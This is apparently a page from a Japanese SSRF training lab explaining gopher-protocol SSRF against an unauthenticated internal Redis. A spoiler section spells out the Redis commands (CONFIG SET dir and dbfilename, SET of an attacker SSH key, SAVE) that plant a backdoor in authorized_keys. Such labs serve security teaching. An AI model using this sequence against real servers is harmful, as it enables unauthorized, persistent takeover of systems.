utsuroi ssrf labsLab 05 / 5 — Expert
05

Gopher プロトコルで内部 Redis を操作

Gopher SSRF for internal Redis command injection

Lab 04 の Blind SSRF で、内部 Redis(10.0.1.50:6379)の存在を確認した。Redis は認証なしで稼働している(典型的なミス)。

Web アプリの URL fetcher は file_get_contents() ベースで、file://http:// 以外にも gopher:// プロトコルに対応している(PHP の libcurl ラッパーや、Java の URL クラスで多くの場合デフォルト有効)。

Gopher は古いプロトコルだが、「任意のバイト列を任意の TCP ポートに送信できる」性質を持つ。これを使えば SSRF を「単なる HTTP 取得」から「内部 TCP サービスへの任意コマンド送信」に格上げできる。

Gopher プロトコルで内部 Redis に SET コマンドを送り、永続的なバックドア(SSH 公開鍵を authorized_keys に書き込む経路など)を仕込んでください。

Host: 10.0.1.50:6379
Auth: なし(典型的なミス)
用途: セッションキャッシュ + バックグラウンドジョブキュー(Sidekiq 風)
権限: redis-cli で接続できれば CONFIG SET dir /home/redis/.ssh 等で任意ファイル書き込みも可能
Keys: session:user_a, session:miharu_t, queue:default

Gopher URL は gopher://host:port/_DATA の形式。_ の後の DATA がそのまま TCP に流れる。改行は URL エンコードで %0d%0a

クイック試行:
Gopher → TCP に流れるバイト列
(まだ送信していません)
Redis の応答
(まだ送信していません)
Gopher のデータ伝送モデル
gopher://host:port/_DATA という URL を受けた libcurl は:
1. host:port に TCP 接続
2. URL の "_" 以降を URL デコードしたバイト列を、そのまま送信
3. 応答は通常 HTTP として解釈されるが、応答内容を見られない場合もある

→ HTTP プロトコルに収まらないバイナリプロトコル(Redis、Memcached、SMTP、MySQL...)
   に対して任意のリクエストを発行できる。

例:Redis の RESP プロトコル
*1\r\n$4\r\nPING\r\n
   ↑ 配列要素1個
            ↑ 文字列長 4
                  ↑ "PING"

  これを URL エンコード:
  *1%0d%0a$4%0d%0aPING%0d%0a
正解(ネタバレ)— SSH バックドア注入

Redis の CONFIG SET + SAVE で任意ファイル書き込みが可能。これを使うと:

1. CONFIG SET dir /home/redis/.ssh
2. CONFIG SET dbfilename authorized_keys
3. SET ssh_key "ssh-rsa AAAAB3...attacker_pubkey..."
4. SAVE

これで Redis 実行ユーザの ~/.ssh/authorized_keys に攻撃者の SSH 公開鍵が書き込まれ、サーバへの永続的バックドアが完成。SSRF が単なる「情報漏洩」から「サーバ完全乗っ取り」に昇格する典型例。